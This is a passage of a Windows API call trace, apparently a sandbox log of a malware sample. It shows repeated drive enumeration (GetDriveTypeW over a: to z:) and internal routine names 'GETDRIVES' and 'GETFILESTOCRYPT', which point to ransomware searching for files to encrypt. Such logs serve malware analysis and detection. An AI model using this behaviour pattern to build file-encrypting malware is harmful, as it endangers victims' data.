[0083.660] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.660] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.660] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.660] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.660] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.660] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.660] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.660] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.660] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.660] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.660] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.660] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.660] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.661] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.662] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.665] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.665] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.666] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.666] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.666] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.666] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.666] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.666] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.666] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.667] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.668] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.668] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.668] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.668] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.668] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.668] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.668] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.668] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.668] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.668] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.668] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.668] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.668] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.669] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.669] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.669] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.669] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.669] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.669] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.669] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.669] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.669] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.669] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.669] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.670] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.670] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.670] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.670] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.670] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.670] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.670] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.670] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.671] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.672] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.672] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.672] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.672] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.672] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.672] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.672] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.672] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.672] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.672] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.672] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.672] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.672] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.673] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.673] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.673] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.673] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.673] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.673] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.673] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.673] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.673] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.673] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.673] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.673] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.674] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.674] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.674] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.674] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.674] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.674] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.675] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.675] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0083.675] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0083.675] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0083.675] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0083.675] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0083.675] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0083.675] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0083.676] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0083.676] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0083.676] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0083.676] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0083.676] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.676] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.676] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.684] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.684] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.684] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.684] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.684] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.684] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.684] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.684] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.685] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.685] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.685] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.685] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.685] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.685] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.685] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.685] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0083.685] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0083.685] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0083.685] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0083.685] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0083.686] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0083.686] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0083.686] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0083.686] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0083.686] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0083.686] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0083.686] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0083.687] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0083.687] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0083.687] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0083.687] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.687] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.687] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.687] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.687] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.687] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.687] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.688] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.688] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.688] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.688] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.688] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.688] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.688] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.688] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.688] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.688] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.688] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.688] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.688] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.688] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.689] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.689] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.689] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.689] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.689] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.689] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.689] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.689] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.689] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.689] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.690] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.690] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.690] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.690] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.690] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.690] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.690] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.690] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.690] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.690] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.690] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.690] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.690] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.690] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.690] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.691] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0083.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.691] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0083.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.691] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0083.691] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.691] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.691] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0083.691] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.691] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0083.691] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.691] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0083.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0083.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 